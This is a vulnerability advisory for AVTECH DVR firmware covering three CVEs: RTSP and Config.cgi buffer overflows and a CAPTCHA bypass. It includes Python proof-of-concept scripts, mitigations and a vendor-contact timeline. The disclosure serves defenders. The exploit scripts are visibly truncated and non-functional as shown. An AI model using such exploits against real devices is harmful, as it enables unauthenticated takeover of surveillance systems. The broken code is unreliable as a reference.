AVTECH DVR Firmware 1017-1003-1009-1003 - Multiple Vulnerabilities





Become a Certified Penetration Tester



Core Security - Corelabs Advisory

AVTECH DVR multiple vulnerabilities

1. *Advisory Information*

Title: AVTECH DVR multiple vulnerabilities
Advisory ID: CORE-2013-0726
Advisory URL:
Date published: 2013-08-28
Date of last update: 2013-08-28
Vendors contacted: AVTECH Corporation
Release mode: User release

2. *Vulnerability Information*

Class: Buffer overflow [CWE-119], Buffer overflow [CWE-119], Improper
Access Control [CWE-284]
Impact: Code execution, Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-4980, CVE-2013-4981, CVE-2013-4982

3. *Vulnerability Description*

Multiple vulnerabilities have been found in AVTECH AVN801 DVR [1] (and
potentially other devices sharing the affected firmware) that could
allow a remote attacker:

   1. [CVE-2013-4980] To execute arbitrary code without authentication
by exploiting a buffer overflow in the RTSP packet handler.
   2. [CVE-2013-4981] To execute arbitrary code without authentication
by exploiting a buffer overflow in '/cgi-bin/user/Config.cgi', via a
specially crafted HTTP POST request.
   3. [CVE-2013-4982] To bypass the captcha of the administration login
console enabling several automated attack vectors.

4. *Vulnerable Packages*

   . DVR 4CH H.264 (AVTECH AVN801) firmware 1017-1003-1009-1003.

5. *Vendor Information, Solutions and Workarounds*

There was no official answer from AVTECH support team after several
attempts (see [Sec. 8]); contact vendor for further information. Some
mitigation actions may be:

   . Do not expose the DVR to internet unless absolutely necessary.
   . Have at least one proxy filtering the 'SETUP' parameter in RTSP
   . Have at least one proxy filtering the 'Network.SMTP.Receivers'
parameter in HTTP requests to '/cgi-bin/user/Config.cgi'.

6. *Credits*

[CVE-2013-4980] was discovered and researched by Anibal Sacco from Core
Security Exploit Writers Team. [CVE-2013-4981] and [CVE-2013-4982] were
discovered and researched by Facundo Pantaleo from Core Security
Consulting Team.

7. *Technical Description / Proof of Concept Code*

7.1. *Buffer Overflow in RTSP Packet Handler*

[CVE-2013-4980] The following Python script sends a specially crafted
packet that triggers a buffer overrun condition when handling the RTSP
transaction; no authentication is required. As a result, the device
crashes and it could possibly lead to a remote code execution.

import socket

HOST = ''
PORT = 554              
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
trigger_pkt = "SETUP
trigger_pkt += "CSeq: 1\r\n"
trigger_pkt += "User-Agent: VLC media player (LIVE555 Streaming Media
print "[*] Sending trigger"
data = s.recv(1024)
print '[*] Response:', repr(data), "\r\n"

7.2. *Buffer Overflow in config.cgi Parameters*

[CVE-2013-4981] The following Python script exploits other buffer
overflow condition; no authentication is required. As a result, the
device crashes and it would possible lead to a remote code execution.

import httplib

ip = ""
conn = httplib.HTTPConnection(ip)
resp = conn.getresponse()
print resp.read()

7.3. *CAPTCHA Bypass*

[CVE-2013-4982] The following Python proof of concept sends a wrong
captcha in first place (just to verify that captcha protection is
enabled); then, it sends ten requests with an arbitrary hardcoded
captcha and its matching verification code. As a result, the captcha
protection can by completely bypassed.

import httplib

ip = ""
print "Performing captcha replay with hardcoded wrong captcha code and
verify code..."
conn = httplib.HTTPConnection(ip)
resp = conn.getresponse()
print "Reading webpage..."
print resp.read()
print "Performing several captcha replays with hardcoded right captcha
code and verify code..."
for i in range(1, 10):
    conn = httplib.HTTPConnection(ip)
    resp = conn.getresponse()
    print "Reading webpage..."
    print resp.read()


8. *Report Timeline*

. 2013-08-06:
Core Security Technologies attempts to contact vendor using the AVTECH
official technical support contact page [2]. No reply received.

. 2013-08-12:
Core attempts to contact vendor.

. 2013-08-20:
Core attempts to contact vendor.

. 2013-08-28:
After 3 attempts to contact vendor, the advisory CORE-2013-0726 is
released as 'user release'.

9. *References*

[1] http://www.avtech.com.tw.

10. *About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:

11. *About Core Security Technologies*

Core Security Technologies enables organizations to get ahead of threats
with security test and measurement solutions that continuously identify
customers can gain real visibility into their security standing, real
validation of their security controls, and real metrics to more
effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted
research and leading-edge threat expertise from the company's Security
Consulting Services, CoreLabs and Engineering groups. Core Security

12. *Disclaimer*


13. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at